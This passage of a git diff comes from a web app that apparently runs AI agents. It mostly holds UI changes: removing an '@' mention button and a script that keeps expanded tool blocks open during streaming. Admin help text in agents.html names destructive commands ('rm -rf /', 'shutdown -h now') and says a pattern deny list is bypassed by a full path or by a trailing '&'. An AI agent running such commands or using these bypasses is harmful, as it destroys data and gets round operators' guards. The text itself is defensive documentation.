event.target.closest("[data-mention-open]"); - if (!button) return; - event.preventDefault(); - var input = composer(); - if (!input) return; - input.focus(); - var caret = input.selectionStart; - var lead = caret && !/\s/.test(input.value[caret - 1]) ? " @" : "@"; - input.setRangeText(lead, caret, caret, "end"); - refresh(); - }); + /* There was a `[data-mention-open]` handler here, for a button in the scope + menu that typed an `@` on your behalf. Both are gone: the `@` key does it, + and a menu you open in order to insert one character is a longer way round + than the character. Nothing else in the file knew about it -- the token is + recognised on `input`, wherever the `@` came from. */ window.lembas = window.lembas || {}; window.lembas.closeComposerMenu = hide; diff --git a/src/lembas/web/static/js/steps.js b/src/lembas/web/static/js/steps.js new file mode 100644 index 0000000..7072e36 --- /dev/null +++ b/src/lembas/web/static/js/steps.js @@ -0,0 +1,86 @@ +/* + Keeping an opened block open while the reply is still being written. + + The steps container is swapped with innerHTML every time a round closes, and + the `done` frame replaces the whole bubble at the end. Both tear down every +
inside and build new ones, so anything the reader had expanded shut + itself again -- which, at up to twelve frames a second, made a tool block + impossible to open at all rather than merely annoying to. + + The fix is to write down which are open before the swap and put them back + after. It works because the ids are stable: `tool-{message}-{step}-{n}` and + `think-{message}-{step}` are built from the mark index, the marks are + append-only, and the finished bubble emits the same ids the live one did. See + services/steps.py. + + Not `hx-preserve`: that keeps a node and its contents, and these nodes have to + update. Not a CSS checkbox either -- the input would live inside the container + being replaced, so it would be destroyed with everything else. +*/ +(function () { + "use strict"; + + /* Keyed by container id, so two replies streaming into one page cannot read + each other's state. */ + var open = {}; + + function remember(box) { + var ids = []; + box.querySelectorAll("details[id][open]").forEach(function (details) { + ids.push(details.id); + }); + open[box.id || "steps"] = ids; + } + + function restore(box) { + (open[box.id || "steps"] || []).forEach(function (id) { + /* CSS.escape, never concatenation into a selector: an id is built from a + message id and two integers today, but a selector assembled by hand is + how that stops being true safely. */ + var found = box.querySelector("details[id='" + cssEscape(id) + "']"); + if (found) found.open = true; + }); + } + + function cssEscape(value) { + return window.CSS && window.CSS.escape ? window.CSS.escape(value) : value; + } + + function container(target) { + if (!target || !target.closest) return null; + return target.closest("[data-steps]"); + } + + /* Cancellable: the SSE extension reads what listeners return to decide + whether to swap at all. So nothing here may cancel the event -- doing so + would freeze the transcript with no error anywhere. There is a test on it, + which matches the source, comments included. */ + document.body.addEventListener("htmx:sseBeforeMessage", function (event) { + var box = container(event.target); + if (box) remember(box); + }); + + document.body.addEventListener("htmx:sseMessage", function (event) { + var box = container(event.target); + if (box) restore(box); + }); + + /* The `done` frame swaps the whole
with outerHTML, so the element + that comes back is a different one carrying the same id -- the finished + bubble's container repeats both the id and the marker for exactly this + reason. Before the swap the old box is still reachable under the target; + after it, the safe move is to look again across the page, because what + `afterSwap` hands back for an outerHTML swap is not reliably the new node. + Restoring every container is harmless: what is remembered is keyed on the + container's own id. */ + document.body.addEventListener("htmx:beforeSwap", function (event) { + var box = event.target && event.target.querySelector + ? event.target.querySelector("[data-steps]") + : null; + if (box) remember(box); + }); + + document.body.addEventListener("htmx:afterSwap", function () { + document.querySelectorAll("[data-steps]").forEach(restore); + }); +})(); diff --git a/src/lembas/web/templates/admin/agents.html b/src/lembas/web/templates/admin/agents.html index 2079401..c9c4600 100644 --- a/src/lembas/web/templates/admin/agents.html +++ b/src/lembas/web/templates/admin/agents.html @@ -96,7 +96,12 @@ Checked before everything, including Auto. Treat it as a guard against an accident rather than against an adversary: rm -rf /* here does not stop /bin/rm -rf /, and - nothing pattern-shaped could. + nothing pattern-shaped could. The same limit as above applies, and it + cuts the other way here: a command line that runs more than one thing + matches none of these, so in Auto + shutdown -h now asks and shutdown -h now & + runs. Anything that must never happen belongs on the far side, in that + account’s own permissions.

diff --git a/src/lembas/web/templates/chat/_composer.html b/src/lembas/web/templates/chat/_composer.html index 18736a1..c535df8 100644 --- a/src/lembas/web/templates/chat/_composer.html +++ b/src/lembas/web/templates/chat/_composer.html @@ -153,8 +153,15 @@ This slot used to be an `@` button that inserted the character and got out of the way -- which the `@` key already does, from the - keyboard, without a button. Typing `@` is untouched; composer.js - recognises the token on its own and knows nothing about this menu. + keyboard, without a button. It then kept that as a row inside the + menu, which was the same redundancy one level down: a menu you open + to press a button that types one character. Both are gone. Typing + `@` is untouched; composer.js recognises the token on its own and + knows nothing about this menu. + + With the row gone there is nothing to show on a chat with no scope, + so the guard is `has_scope` alone rather than `has_scope or can + upload`. An empty menu is worse than no button. The rows are `